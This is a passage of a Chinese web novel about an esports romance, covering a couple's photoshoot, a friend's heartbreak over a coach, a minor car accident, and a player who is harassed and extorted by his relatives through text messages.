她有一些出神,接吻是什么感觉呢? 祝愉被拥入怀中,后背此时异常敏感,仅凭想象,便能描摹出那双手的轮廓。 俞述的手指很长,他的中指和无名指轻勾着自己的后腰,小拇指上缠着她衣服上的绑带,将要解开,虎口正好将她的腰握住。 指尖发凉,他也在紧张。 时间一分一秒过去,他们找着角度,结束了这个暧昧的拍摄。 没有人注意到他们的失神。 “来来来,换下一场的衣服,抓紧时间啊。” 他们惊醒,跟着各自的造型师离开。 …… 第二套妆造偏家居。 摄影师先让他们找找感觉。 祝愉将头发散开,坐在布艺沙发上,俞述枕在她的腿上。 拍完几张后,摄影师过去跟助理讨论。 “你会不会紧张?”她指这种拍摄。 俞述摇了摇头,令他在意的是另一件事,“你经常拍这种类型的照片吗?” 祝愉想撒个小谎,“会啊,我以前可是模特,什么都要拍的。” 俞述垂下眼,神色不清。 祝愉忍住要扬起的唇角,还是解释道:“其实我以前是女装模特,也不是专职的,所以不会拍情侣照片,这次是熟人邀请,我们沟通了一下内容,合适了我才来的。” 她低头,贴近俞述,轻声道:“我肯定不会跟不喜欢的人拍这样的。” 我只会跟你这样,好不好? 这句话未说出口。 俞述却已经闭上眼睛,怕祝愉看到什么,心尖融化,像有一只手把他的心捏了又捏,随意撩动。 祝愉轻笑,收起了逗弄的心思。 她发现,只要俞述对她好,她就会得寸进尺,忍不住想欺负他,会有为非作歹的念头,偏偏他还全盘接受。 明明前不久还在别扭,但这一天,她却像是泡在糖水里,心里满是得意。 这时有场助跑来跟祝愉说光影和站位的问题。 “柔光箱改了位置,等会儿开拍要注意一下动作幅度,别吃到硬光了。” 因为俞述不是专业的模特,各方面细节都做得一般,不过他不是拍摄内容的主角,只要画面和谐,能突出女主角就行,场助就对他提了几点要求后,便转头继续跟祝愉商量。 一会儿,场助才过去跟摄影师沟通。 刚刚躺在腿上的姿势要重新拍几张,只因为有一处光线不合适。 俞述想起祝愉做兼职的时候,“以前……你是不是很累。” 祝愉大学时候的vlog记录着她做兼职的日常。在当网店模特的那段日子里,如果有上新或者换季,三天睡四五个小时都是常态,没日没夜的拍,为了高时薪,还会额外加班帮店家打包寄货,累是真的很累。 祝愉悄悄捻了一下俞述的发丝,“累啊,但是值得。” 她现在已经成为了百万粉丝博主,有能力托起她的以后了。 …… “来,两人并肩坐在一起,小竹的胳膊从他的下巴处环过去,捏着他的耳朵。” “嗯对,帅哥贴近一下,轻咬小竹的肩膀。” 两人照做,画面和谐。 “好!非常完美!就是这种感觉啊哈哈哈哈。” 小香全程捂着嘴,她的嘴角快要笑裂了好吗?这两人真的甜得要命。 小香掏出手机,又悄悄拍了一张,打算攒够了给小竹姐看。 阿良更是实时直播,向群里的那帮人转述这现场的火爆。 薰薰:【我靠,我真服了,我也想去看啊啊啊啊啊】 五七:【我错过了爸妈的爱情故事吗?】 飞渊:【@五七别这么恶心行吗?真拿自己当宝宝了】 五七:【嘁,你是嫉妒我吧】 飞渊:【嫉妒你个脚】 灼忧:【良哥,能不能拍张照看看啊】 众人加一。 阿良犹豫:【我可不敢,小鸟哥会制裁我的,后面会有杂志的,你们去买就行了】 消息发送完,他设置成免打扰,不再管群里的哀怨。 拍摄到夜幕降临,现场响起“辛苦了”的声音,人群疏散,开始准备收工。 俞述先回俱乐部了,祝愉换完衣服没走,站在摄影师身后,看着电脑上的闪过的照片。 原来拍了这么多。 “啧,这有点难选图啊。”摄影师跟身边的人说着。 杂志内页的插图或者是跨页大图基本上都是C家在亚洲区的主宣模特,少量内页的配图才是内地火的博主、明星什么的。 但偏偏今天这两人拍得要比其他人更好,就选三四张的话感觉有点浪费。 灯光师点头道:“是啊,感觉都挺符合这次杂志主题的,看起来比其他的几对要自然很多。” 造型师转头看向祝愉,“我都不知道你什么时候谈的对象,也没见你朋友圈发,捂这么严实啊。” “长这么帅,不得藏起来啊。”灯光师开玩笑说道,他们跟摄影师是同一个工作室的,跟祝愉也认识了很久。 “他不是我男朋友。”祝愉赧然道。 下午那会儿,她以为俞述会拒绝,或者是解释清楚他们的关系,没想到他一句话都没说,就这么答应了下来。 “哦~明白了。”灯光师眼中划过促狭,“现在在搞地下恋啊。” “不是不是。” 场助没参与讨论,看着臣音走了之后,他才放松了下来,插嘴说:“我还以为今天拍不完呢。” 摄影师在一旁滴眼药水,嘟囔着,“谁能想到这孩子不争气啊,本来下午就能拍完的。” “话说他是个什么情况啊?”化妆师没有一直在现场待着,补妆都是助理在跟着,她去休息,回来之后就看见换人了。 “唉。”摄影师又扭了扭手腕,“其实小凛就没怎么做过模特,这次拍摄他是直接被臣总塞进来的。” “啊?”众人不解,这次杂志合作挺正式的,怎么会选门外汉进来。 摄影师说:“不清楚,我只知道是臣总说要让他适应什么,具体的也没说。” “适应模特生活?”场助撇撇嘴,“但我感觉他不适合这一行。” “谁知道呢,不过甲方老大的话还是要听的。”摄影师叹了口气。 其实打工人遇见这种事也挺难受的,活一直干不完,就得无限期的加班,更何况这次拍摄内容又不是小打小闹就可以结束的,合作方又得罪不起。 祝愉没有仔细听,心里想着其他事,“老师,可以把不公开的图发给我吗?” 摄影师没有回头,比了个OK,“老规矩啊,杂志发行之后你随意。” “好。” 回去的路上,祝愉收到了摄影师的超大图包,还有一张她被俞述公主抱的抓拍。 这张公主抱的照片她欣赏了一路,最后心满意足的保存了下来。 27. 第27章 春季赛第一轮还未结束,FRG和ZDG就因粉丝互喷登上了热搜。 某刚入坑竞粉发出感慨:我嘞个龟龟,kpl现在居然有这实力了,天天热搜买房啊。 其他战队的粉丝摇摇手指,实则不然,但凡换个队伍来都没这热度。 这次能在赛前上热搜,还是因为这两支队伍的人气本就是全联盟数一数二,尤其都还有一名人气选手。 他们的粉丝战斗力超强,有点风吹草动,那瞬间硝烟弥漫,不撕个尸横遍野、血流成河都算竞粉实力倒退一百年,需要再度进修千年才能到达巅峰之力。 话虽夸张,但目前来看确实是这样的。 FRG嘲ZDG吃老本才能拿冠军,调教不出新人,谁去都会落得个黄钟毁弃的下场。 ZDG则是笑FRG没了重明就如同只会吃桉树叶的考拉,脑子光滑没有褶皱。 真是应了那句:年度金句榜都要来他们的互撕贴下进货补充库存。 FRG场馆内,观众席空无一人,只有舞台中间亮着,各工作人员在调试比赛当天用的设备。 陈词恩下台后就坐在观众席前排,借着舞台的光,熟练地换号刷起微博热搜。 她提前一天到场馆彩排,负责的就是这两支人气队伍的赛后采访,这会儿在等着刘琦下班去吃夜宵。 余光瞥见有人走过来,陈词恩收了一下腿,但那人在她面前站定,好像在通电话,来回踱步,久久没有离开。 距离愈发逼仄,她皱了一下眉,抬眼望去。 正好一道射灯打过来,打电话的人有意识地转身回避。 刹那间,电光石火,两人视线一滞,气氛有些凝固。 男人的目光未撤回,似乎在辨认对方是谁。 但电话那头似乎语气并不好,男人表情有些不耐,转身朝外走去。 陈词恩抹去僵硬的表情,捏紧的手微微放松,无人在意的掌心处添了几道掐痕。 刘琦彩排完从旁边的台阶上下来,看见来人之后有些欣喜,“宋衍棠,你不是忙着订婚呢嘛,这会儿有空来场馆啊。” “还可以,不算忙。”宋衍棠过来确认一些事,也花不了多长时间。 “行,我等会儿还有约,不跟你聊了啊。”刘琦拍了下宋衍棠的肩膀,“订婚宴有吧,之后可得请我们吃饭啊。” 宋衍棠没有吭声。 “诶,我忘记问了,你未婚妻叫什么名字啊?”刘琦走了半步,回头问道,上一次见面都是三四年前,印象实在是不深。 宋衍棠一直忙着比赛的事,还是端午节那天他家里人来找他,周围人才知道他马上要订婚了。 在那之前,周围人都以为宋衍棠会把青春奉献给电竞。 没想到还是败在30岁魔咒之前,选择联姻,没有踏入黄金单身汉一列。 “不用了。”宋衍棠回眸。 紧接着,他嘴唇动了动,说出的话让刘琦惊讶不已。 陈词恩看宋衍棠走了之后,才背着包过来,觉得刘琦的表情有些好笑,“咋啦,下巴收一收呗。” “我靠。”刘琦没忍住爆了句粗话,“你知道吗?他退婚了。” 陈词恩眼中尽是错愕,缓了半天才找回自己的声音,“为什么?” 刘琦结结巴巴地说:“他、他说两人本来就没感情,五六年都没见过几次,联姻也不必做到这个份上,就跟他未婚妻商量了一下,一起退婚了。” “我的天啊,太吓人了,五六年都没培养出感情吗?他修的是无情道吧。” 说者无意,听者有心。 陈词恩沉默着没有接话。 索性这消息对刘琦来说是圈内的爆炸性新闻,他还在独自消化中,没在乎陈词恩的消沉。 两人并肩走出场馆,已是天黑。 陈词恩低着头不知道在想些什么。 “你说,会不会是距离的问题?”刘琦忽地拍了一下手,“我想起来了,他那个未婚妻不是一直待在英国没回国吗?我记得跟你还是校友呢,宋衍棠有没有跟你说过他未婚妻啊?” 陈词恩的步子一顿,“没有,不是很熟。” “也是,你也才刚到这没多久……而且虽然说是校友,但好像要比你大几届,估计说了名字你也不清楚。” “嗯。” 蝉鸣声有些聒噪,陈词恩突然没了吃饭的兴致,她停下后对着旁边的男人说,“琦哥,我突然想起来我等会儿还有事,可能吃不了饭了。” “啊……” “下次我请你吧。” 刘琦看陈词恩焦急的样子也不像是找借口,“行,下次得请我吃大餐啊。” “好,没问题。”说着便匆匆离开。 陈词恩穿着高跟鞋,但步子很快,两三分钟就到了停车场,她环顾了一圈,没有找到宋衍棠的车。 她喘了口气,说不清此时是什么情绪,在原地站了几秒,掏出手机给祝愉打电话,“喂,是我。” “你吃饭了没?我等会儿去找你。” …… 祝愉卸完妆,看着一桌的烧烤和小吃,又看了眼猛灌酒的陈词恩,抽出几张纸给她。 “我才没有哭。”陈词恩双颊泛红,接过纸象征性地擦了擦眼角。 没有在意身边人的反应,陈词恩自顾自地说:“你知不知道我高中的时候有个特别喜欢的男生,但他后来出国了……我刚上高中,他就走了。” 祝愉点点头,她听陈词恩说过几次,但那时候她刚到陈家,也不会主动跟陈词恩聊这些私密的话题,所以知道的也不多。 后面陈词恩上了高中,就再没有提过这件事。 “大学填报志愿的时候,我偶然知道他有未婚妻了,就在英国,我当时很好奇,到底是个什么样的人会吸引到他这种木头,我就想,我要不也出国去看看。” 说着她有些哭笑不得,“但是等我到英国之后,他又回国了。” 陈词恩吸了吸鼻涕,仰头看着天花板,“他未婚妻可好看了,像个洋娃娃一样,很安静,很乖,喜欢看书,喜欢旅游……跟我完全相反,我当时就在想,怪不得他不对我不感兴趣。” 祝愉不知道怎么安慰她,看着陈词恩难得伤心的模样,她心里也跟着酸了一下,“都过去了。” 陈词恩摇摇头,泪水终究溢了出来,“没有过去,过去不了,我就是忘不了他。” “那你……对他表白过吗?还是就只是暗恋?”祝愉坐过去,把陈词恩揽入怀中,轻声问道。 “表白过,但他很好,好到我被他拒绝了那么多次,我都不生气。” 祝愉想了想,“或许他变了呢?你应该去试着喜欢一下别人。” “他没有变。”陈词恩突然笃定,但几秒后,肩又沉下来,“也喜欢不了别人。” “你知道吗?喜欢这个词真的太不讲道理了,有时候你甚至都不是因为特别了解这个人才喜欢的他,是因为那一个瞬间。” “那一个瞬间真的无法让人释怀,然后你就像是被下了咒一样,死认他一个人,别人都不行。” “可能真的是不撞南墙不回头吧,我真的太倔了……” 祝愉听着她的碎碎念,没有说话,将她滑下的头发别在耳后,掌心是一片湿润。 她攥了攥手,那充满着悲伤的眼泪也仿佛顺着她的皮肤纹路四处蔓延,明明是泪水,却也烫的她一颤。 亿万人当中,与你有纠葛的何止一人,但偏偏就有那么一个人的出现,让你忘不了,也避不开,直到天荒地老,也只有他在你的记忆当中独自鲜活。 …… 借着酒精的催眠,陈词恩一觉睡到了十点。 祝愉是被闹钟吵醒的,她躺在床上回了几条工作消息后也没再睡,想着今天没工作安排,打算开车去送陈词恩上班。 “唉,昨晚不该喝酒的,这会脸都肿成猪了。”陈词恩嘟囔着。 祝愉认为还好,陈词恩是标准的瓜子脸,再肿也看不太出来。 “喏,冰美式,超大杯的。”她刚出门一趟,楼下就有咖啡店。 “谢啦,你先放下,我等会儿喝。”陈词恩狂拍爽肤水,企图把泛肿的地方给拍下去。 祝愉突然想起自己这还有一件俞述的衣服,她一直没有机会给他。 祝愉走到卧室,把那件印着“重明”二字的外套塞进牛皮纸袋里。 怕被陈词恩看到,上面放了几件品牌方送的衣服盖住,反正都是男女同款,尺码还偏大,索性也送给俞述穿好了。 她提着袋子出去,放到沙发上,看看今天能不能送给俞述。 陈词恩从镜子里看见祝愉出来,问了句,“你开车没问题的吧,我记得你驾照才拿了三个多月,有开过吗?” 祝愉想了下,觉得没问题,“小香说 坐我开的车很安心。” 听到如此评价,陈词恩也稍稍放心。 一小时之后,距场馆五百米的斑马线前,发生了追尾事故。 祝愉还有些惊魂未定,正在补觉的陈词恩更是被吓醒,咖啡撒了一身。 她刚才减速准备停下等红绿灯时,一辆黑色越野车跟发癫一样非要插在她前面,没想到距离没把握好,撞到前面的一辆奥迪上。 “这真是人才。”陈词恩翻了个白眼,白裙子上褐色一片,擦也擦不掉。 祝愉感觉自己的车可能有被蹭到,便下去看了眼。 果然,车盖那有一块凹陷的地方,车漆掉了很多,后视镜也歪了。 祝愉上车打开双闪,在车后放了警示牌,按照之前考驾照学的内容,拿出手机拍照,联系交警。 陈词恩擦完车上的咖啡渍,跟着下车,站在一边向前张望。 祝愉担心会耽误陈词恩上班,“你先走吧,我在这等交警来。” “没事,还早,我等你一块儿走。”陈词恩想陪着祝愉,怕她一个人搞不定。 祝愉没拒绝,她也是第一次碰到这种事,心里还有些慌,不知道要怎么处理。 黑色越野车的体积庞大,祝愉只能看见白色车的车尾,便绕过去看了眼。 是许久未见的宋熙和宋照。 陈词恩也跟着过来,看到二人之后感叹,“真是冤家路窄。” 祝愉的车况还好,交警处理得比较快,但宋照的可能要等一会儿。 几人隔着车,视线交汇,点头算是打了声招呼。 宋照一如既往的好脾气,宋熙倒是白着脸不说话,一段时间不见瘦了很多,也有意无意地避着祝愉。 祝愉没太在意,或者说她也不想再跟宋熙再有什么交流。 但宋照不这样想。 他带着宋熙过来打招呼,留司机在那边处理剩下的事。 “好久不见。”宋照先跟祝愉问候了一声,他眼神示意一旁的宋熙,眸中有一丝警告。 “好久不见……”宋熙的声音很低。 陈词恩挑眉,这孩子是经历了什么吗?居然变成这样了。 祝愉勾了一下唇角,并没有开口的意思。 “你们来这是……”陈词恩确实有点好奇,她听祝愉讲了锦州发生的事,俞述的手伤也是宋熙间接导致的,这时候兄妹二人出现在这,难免她多想。 宋照虽面色和煦,但没什么情绪,仔细看浑身充满了疲惫,“我这几天休息,带她来看最后一场比赛。” “最后一场?” 宋照点了点头,“我下一个月要外派去巴黎负责公司新的项目,可能要一年多,跟父母商量了一下,我准备带着宋熙一起去。” “宋熙不是还在上学吗?”陈词恩记得她才上大学吧。 “先让她休学一段时间。”宋照看向旁边不怎么出声的宋熙,“她现在这个状态也不好去上学。” “过段时间,我父母处理好这边的事也会到巴黎陪着宋熙。” 祝愉看了眼神色低落的宋熙,抿了抿嘴,视线转到一边。 宋熙悄悄抬眼望向不远处的祝愉,发现她没有看向自己,好像从来不认识她,也不知道她是谁一样。 之后没什么事,具体情况要等交警通知,与宋家兄妹分开之后,祝愉就先送陈词恩去了场馆。 “跟我进去呗,今晚可是FRG和ZDG的比赛。”陈词恩站在台阶上对着祝愉发出邀请。 “不了,不是不让无关人员进后台吗?”祝愉还记得上次陈词恩说有人追俞述追到后台休息间的事,万一她被什么负责人逮住,陈词恩估计也要遭殃。 “我那是逗你的。”陈词恩惊叹祝愉的记忆力,到现在还记得这事,“这个场馆有证就行。” FRG的场馆是刷卡加人脸识别,到时候她和祝愉一块进去就行。 “哎呦,走吧走吧,俞述又不上场打比赛,你去了不会影响他的。”看着还在犹豫的祝愉,陈词恩上前拉了一把,颇有孺子难教的无奈。 走到闸机前,陈词恩低头翻包里的工作证,一分钟之后,动作逐渐迟缓,她抬头看向祝愉,“完了,我没带证。” “那我就不去了,你先进吧。”祝愉觉得进不去也没关系,她正好去逛一下粉丝应援,打个卡,衣服下次再给也行。 “不是,是我也进不去了。” 28. 第28章 七月连续几天的高温让人头昏脑涨,在太阳底下没站几秒就会觉得晕眩。 祝愉往里面站了站,头顶正好有个风口,冷风吹下来,颓靡的神情有所缓和。 陈词恩在一边打电话,太阳穴突突直跳,“休息室也没有吗?” “好吧,那只能麻烦你来接我了……也行,看谁有空吧。” “嗯,还有我妹在。” “没有,后门这没安保,估计去休息了。” “好,谢谢啦。” 两人靠着墙,一早上的疲惫在此时正式发酵。 几分钟后,一道脚步声响起,来人不紧不慢地走向闸机这边。 随即,“滴”的一声,彻底打破此刻的宁静。 祝愉抬眼望去,觉得有些眼熟,迟钝的大脑缓慢运转,才回想起这人是ZDG的教练,宋熙的堂哥,叫什么倒是忘了。 “姐,他叫什么名字啊?” “宋衍棠。” 声音短促且微弱,正好被门外传来的嬉闹声盖过。 祝愉没听清,但也不好再问,因为进来的是FRG的几人。 91走在最前面,手里拿着天蓝色文件夹,首先看见得是宋衍棠,笑着说:“哎呦,今天你们可得轻点打啊,我们这细胳膊细腿的几个小孩可掰不过你们啊。” ZDG现在是第二小组的老大哥,积分排名第一,一场未败,队内成员也都至少有两年多的赛场经验,对于FRG现在的首发来说,确实平均年龄要大一点。 宋衍棠客气道:“你们也是。” 略有公事公办的距离感。 91熟悉宋衍棠的性子,扁扁嘴,没接着往下说。 后面站着的几人频频看向祝愉,眼神互相示意,好像在催促什么。 “你去,你去问。” “我不去,我害羞。” “你害羞个锤子害羞,让你去问话,又不是要吃了你。” 几人窃窃私语。 薰薰是第一个没憋住的,他笑容灿烂,露着一口白牙,“嘿!愉姐,好久不见啊。” “好久不见。”祝愉弯了弯嘴角。 “悦悦姐也是。” 陈词恩勉强笑着点了点头。 薰薰以为祝愉和俞述两个人早有约定,开口问道:“怎么不进去呀?这门口还挺热的。” 祝愉看陈词恩心不在焉,主动开口解释,“她的工作证找不见了,进不去,这会儿在等人来接我们。” “那可以跟我们进啊,我们是直接刷人脸就行了。” “走吧走吧。”薰薰热情道。 这时,一直沉默着的宋衍棠在众人的视线中走过来,将手里的东西给了陈词恩。 是她的工作证。 “下次拿好。” “谢谢,是在哪……” “在停车场捡的。”宋衍棠说完便走了。 陈词恩心里有些落寞,但其他人都以为只是二人不熟的原因,更何况宋衍棠的性格就那样,没有多奇怪。 五七看着走远的背影,啧了一声,“我怎么感觉咱kpl的酷哥越来越多了,老大算一个,阿渡教练也算一个,现在流行这种风格吗?感觉这样很帅啊……我要不也去试试?” 阿渡是宋衍棠的ID,但经常被人质疑是不是本人起的,毕竟跟他气质完全不一样,听名字像是走文艺风的中年人。周围认识的人也觉得念起来很奇怪,干脆就叫他本名,只有比赛的时候才会叫他阿渡。 “丑的不建议模仿。”灼忧损道。 “滚啊我真服了,我说一句你顶一句。” “略略略。”灼忧做了个鬼脸。 “诶!有一说一,酷哥还得是重明,阿渡那是一点情绪都没有。”91有些不认同,“咱小鸟平时还能开开玩笑,阿渡完全是……呃……。” “应该说是跟木头一样?”91找了个形容词,“你跟他说话,他半天都不吭声,心情好了说两句,心情一般连眼神都懒得给。” “对对对,我青训的时候是他在带,我当初还以为他对我有意见,一直不鸟我,结果是压根没注意我说过什么。”灼忧拍手认同。 “这么夸张吗?”五七没跟宋衍棠打过交道。 “当然了,他这种脾气你又不好说,本人没什么恶意,就是不怎么搭理人。” “咦,那他以后对象能接受得了吗?”五七难以想象这种人居然会结婚。 “谁知道呢。”91总结道,“反正也算是成家了,可喜可贺。” 很明显他们还不知道宋衍棠取消订婚的事,否则心都用在八卦上了,哪能把注意力全放在比赛上。 估计赛场上看见了,都会目送他BP,目送他跟91握手,目送他下台,然后一脸不可置信。 …… 比赛是晚上八点开始,这会儿才四点左右,薰薰最后一个做妆发,时间还算自由,便带着祝愉参观FRG的场馆。 不过是未开放区域。 场馆是五年前修建的,因为在郊区,所以占地面积很大,一共有四层楼,之前一直是英雄联盟和PUBG在使用。 前年开始,FRG在各赛事都有了自己的固定席位之后,该场馆才正式对其他分部开放,但王者荣耀分部也用不了几次,经常会给其他比赛腾地方。 后来PUBG分部搬走,和平精英的赛事也固定在隔壁城市,场馆使用率变低,为了赚回修场馆的钱,老板才正式决定以王者荣耀分部的比赛为主进行赛场安排。 “其实还是因为有明哥在,要不然一直都是LPL那边在使用。”薰薰打了个呵欠解释道。 老板以前挺重视其他分部的,但是成绩都一般。 自买了俞述之后,俱乐部的热度水涨船高,更不用说刚来就拿了冠军,老板才把重心转移到王者荣耀这边。 他们前两年一直待在隔壁临云市,比赛用的场馆也是联盟的,去年才正式搬回来,刚来的那天,场馆印的战队C位海报就变成了他们。 场馆的一层是FRG所有分部的选手简介,但最中间的位置一分为二,左边是LPL的选手代表Color,右边就是重明。 墙上的顶端刻着各分部在比赛中获得的荣誉称号,祝愉看到这些密密麻麻的金色刻字,难免心生感慨。 可能在很多人眼里,电竞比赛就只是个游戏而已,随便打打就好了,但对某一些人来讲,它承载的意义实在是太多了。 努力与否是没办法靠几句普通的话就能衡量的,那样显得太轻,在他们心中,好像只有夺冠才能证明自己的汗与泪没有白流。 这时的冠军便有千斤重,可以压下外界的所有质疑。 但这条路却时刻充满着遗憾。 比热爱,他们不会输,比实力,这里到处都是天才,但在赛场上,谁又能甘心止步于胜利之前。 他们要接受输得难堪,更要咬着牙接受荣光另属他人…… 巨大的单人海报下面是1:1复刻的赛事奖杯和奖牌,按照获得年份依次镶嵌在墙上。 位于心脏的位置,写着选手的职业宣言。 俞述的海报造型拍摄于两年前的年总夺冠之夜,奖牌的旁边,印着简短的八个字。 “我将是一切的裁决者。” 祝愉看了许久,想道,是他的性格。 …… 薰薰在二楼碰到了俞述,看着心情不好,眉头拧得跟绳结一样,靠在杂物间的门上发呆。 “明……哥?”薰薰小心喊了一声。 俞述没有反应,好几秒后才抬头,像是才看到薰薰,他走过来,“现在不应该去开会了吗?怎么还在这里。” “我刚做完 妆造,这会儿就去。”薰薰其实有些怵冷脸的俞述,因为他刚到FRG的时候,打得不太好,赛后复盘大家会鼓励安慰一下他,只有俞述会毫不留情地指出他的问题,那时候他就没见过俞述的笑脸。 不过相处得久了,才知道俞述本来就是这样的性子,对谁都一样,虽然冷了点,但对人很好,空闲时间还会陪他一直训练复盘,打得好了也会毫不吝啬地夸他。 俞述点了点头,让他先走。 “对了。”薰薰又退回几步,“我刚刚发的消息你有没有看到啊?我等了好久都没见你回。” “手机没电了。”俞述不想多说。 “哦,好吧……”薰薰挠挠脸,他刚刚好像看到俞述的手机屏亮了一下,是看错了吗? “还有事?” “没、没事,我先走了。” 薰薰快到走会议室门口,才想起他刚刚本来要给俞述说祝愉来了的事,结果给忘了。 不过他应该会知道的吧…… “就差你一个人了,你蹲门口准备摆摊卖烤肠呢吗?”91吼道。 “来了来了。”薰薰没有再纠结,反正早晚都得看见。 …… 俞述走到茶水间,从冷冻柜里翻出一盒冰块,倒出来几块塞进嘴里,咯吱作响,强硬压下去那股怒意。 骤然出现的凉感让胸腔剧烈震颤,他咳嗽了几声,靠在一边的墙上,缓缓蹲下。 他打开手机短信,看着屏幕的那一句句咒骂,无声地冷笑。 这么多年过去,他其实对俞满和俞航这两人的污言秽语已经免疫了,只是他们实在是招人厌烦。 俞满:【你应该知道,我有的是办法让你乖乖打钱,最迟今晚八点,否则你看我怎么整你】 俞满:【你小时候我就能打得你求爷爷告奶奶,大了还是一样】 俞满:【是叔说错了】 俞满:【你连爹妈都没有,有个屁的爷爷奶奶,那俩老不死的哪管过你】 俞满:【连带着半个多月前要你的那二十万,还有这次的,一共四十万,别打错了】 俞满现在当了老板,东施效颦,学那有涵养的富人气质,但学了一半,依旧改不了当年地痞流氓的作风。 俞航就更直接,脏话连篇,开口就是仙人祖宗。 手机嗡嗡震动,俞航换了一个号给他发消息。 未知:【日你仙人的,你还敢拉黑老子】 未知:【你他妈的给老子识相点,我爸还好好跟你讲这些,你要是不打钱我带一堆人去找你朋友,把他们的手全敲烂】 未知:【还有你那傻逼小姨,我去砸她的店,那个老不死的还躺在医院呢吧,如果不顺我的心,我可不敢保证我会做些什么出来】 未知:【你给我小心点】 中间隔了半个小时,那边发来最后一句讯息。 未知:【狗日你妈的,有几个臭钱就忘了自己是谁,你最好记得上一次我是怎么整你的】 一个多月前,春季赛总决赛那天晚上,他结束评论席的工作后让阿良送他到俱乐部附近的便利店买点东西,结果碰到了俞航。 是刻意来找他的。 俞航带着几个混混将他围住,不远处还有一个同伙拿着手机不停地拍。 俞述知道这是在逼他动手,事态如果变得严重,那么他就会被禁赛,正好合了他们的意。 后来,拉扯之间,手机碎了,身上也是青紫一片。 幸好地方不算特别偏,有人路过,看见后报了警,等处理完就是深夜…… 一分钟后,俞航又发了一条消息:【老子下一次绝对整死你】 天色变成橘红,带着点深蓝,大约是七点整,光晕透过百叶窗照进来,将俞述脸上的表情分割成几份。 俞述回道:【俞亮倒是比你有礼貌】 29. 第29章 不到一分钟,那边跟炸弹一样被引爆,连续的问候喷涌而出,电话一个接着一个,俞航最讨厌别人拿他跟俞亮比较。 俞述笑了笑,熟练地把他拉黑,转而找到俞亮的手机号,打了过去,那边嘟嘟两声就接通了,显然是在等他。 一阵沉默之后,俞亮开口,“很难得啊,从你十几岁?还是多大的时候,我是再没有听到过你的声音。” “不过有什么事?我还在开会。” 俞述没有开口。 手中攥着的冰块化成水,顺着指缝流淌到地上,俞述盯着那块湿润的地方,微微出神。 他是什么时候离开的锦州? 好像是十四岁吧…… …… 俞亮走出办公室,他确实没在忙,因为用不着他忙了。 新公司挂在俞航的底下,结果这白痴还真以为公司就是他的了。 趁他出差,整天在办公室胡作非为,招了一帮狐朋狗友到公司去消遣玩乐,夜夜醉生梦死。 上一个月还不知道被哪个人给捅了出去,他花了很多钱才让这白痴出来,期间有个合作还彻底泡了汤,虽然金额小,但如果成功的话,项目带来的宣传度要比这几十万更值。 俞亮想想都觉得俞航真的是蠢到家了,他为什么会有这种蠢货弟弟,一点都沉不住气,包括那次瞒着他去海市单独找俞述,更蠢,简直是自作聪明,就不怕被俞述抓住什么把柄吗? 事后他爸还夸俞航有胆量,有个屁的胆量。 俞亮想到这,重重吐了口气,他这段时间过得不是很顺心,只能找别人出气了。 不过关于项目打水漂的事,他是下了命令,让俞航自己拿钱把这窟窿给补上。 他能找谁要钱?也是可想而知。 “我不知道俞航去找你了。”俞亮翘着二郎腿坐在休息室的软沙发上,手里抽着烟,很是惬意。 “你知道的,俞航从小就叛逆,我爸都管不了,更别说我了。” 那边依旧无声,俞亮稍稍坐直,清清嗓子,“你放心,俞航也不是那种忘恩负义的人,毕竟还是个小孩,咱俞家最小的一个,你让让,那钱用了他肯定会还的。” “不过我的那份就不用还了吧,没有我,你指不定连锦州都出不去,还能到海市赚这么多钱吗?” “俞述,你可要懂得报恩啊。” 俞亮忍不住大笑,但心里却是嫉恨一片,他讨厌俞述的程度不比俞航少。 俞述就应该跟他爸一样是个过街老鼠,凭什么混得都比他们都好?凭什么!? 不过……俞清已经死了…… 俞亮恶毒地想,俞述就该一辈子住在下水道里吃垃圾,苟延残喘地活着,凭什么过得这么光鲜亮丽,他一定会让俞述痛苦一生,不让他过半点安稳日子。 蹲久了腿有点麻,俞述起身,瞥到手机通话界面还亮着,他抽了张纸把手里的水擦干净,才拿起放在一边柜子上的手机,显然是没有听俞亮说话。 他挂断电话,找到一个账户,转过去四十万。 他在等,等一个可以彻底结束这一切的时候。 …… 主持人休息室—— 祝愉推开门,刘琦和陈词恩两人还在看台本,他们一个负责赛前活动主持,一个负责赛后采访,还有半个小时,刘琦就要下去做准备了。 “感觉妹妹更漂亮了啊。”刘琦抬眼望去,真情实意夸道,他觉得祝愉是那种很典型的江南长相,眉眼柔和,脾气也好,是个像水一样的女孩。 祝愉内敛一笑,将手里的袋子放到桌上,准备分给休息室的几人,“给大家买了咖啡,希望不介意我过来打扰你们。” “哎呦,这有什么打扰的,你就过来待一会儿,又不干什么,这真的是破费了啊。”刘琦的经纪人花姐一脸温和,像看自己闺女一样。 花姐本名花韵,十年前跟朋友合伙开了启星传媒公司,目前全网排名靠前的博主有一半都是她家的,手里的资源多得很。 花姐越看越喜欢,她忍不住问了句,“你签公司了没?要不到我手底下来呗。” 祝愉摇了摇头,“没有,想着自己一个人比较自由,就没有考虑过签公司。” 花姐有些惊讶,她记得祝愉现在单一平台粉丝快两百万了,更不用提多个平台加起来有多少,而且她流量特别好,一条视频的收益蛮多的,隔三差五发出来的广子视频,基本上都是国内外比较知名的品牌。 她以为祝愉的营销路线是有专人负责的,肯定是个大公司,还想着合同如果到期了不续约,说不定能捡捡漏,没想到就她一个人,那这能力可了不得,看起来柔柔弱弱的,但是这么能干。 “真不考虑来我们这吗?”花姐想再争取一下,“你现在光专注在穿搭这条路上也有限制,粉丝上涨量到后面肯定会有疲软期,你来我这,我给你拓展一下,保准那一个视频的流量再涨几百万,年入千万不是问题。” 她还是有这个信心的。 “诶?花姐,那我怎么办啊?”刘琦扒拉了一下女人,夸张道,“虽然我流量一般,但你这么快就要忘了我吗?” “你少来。”花姐瞥了眼刘琦,要不是刘琦是他表弟,她都懒得亲自带。 她转头继续跟祝愉说,“怎么样啊,具体的我们可以再谈,而且咱公司对底下的艺人也很好,绝对没什么霸王条款。” 祝愉不好意思地笑了笑,还是拒绝了。 花姐感觉有些可惜,不过也没为难人家,这东西也就看缘分。 几人在一起聊了一会儿后,刘琦就带着助理到舞台旁边去候场。 “诶?我的衣服去哪了?”休息室有个助理嘀咕着,那是她才买的衣服,挂牌都还没摘,直接拿到场馆来了。 有个俱乐部的造型师跟助理关系好,记得是牛皮纸袋装起来的,也帮忙找了起来,一会儿后,她喊道:“是不是这个?” 造型师在沙发上找见一个看起来差不多的纸袋,她打开看了眼,也都是没摘吊牌的衣服,就顺手掏了出来让助理看。 “好像……不是。”她买的是紧身款的,不是这么宽松的类型,“可能是琦哥的。” 这个休息室只有刘琦一个男人。 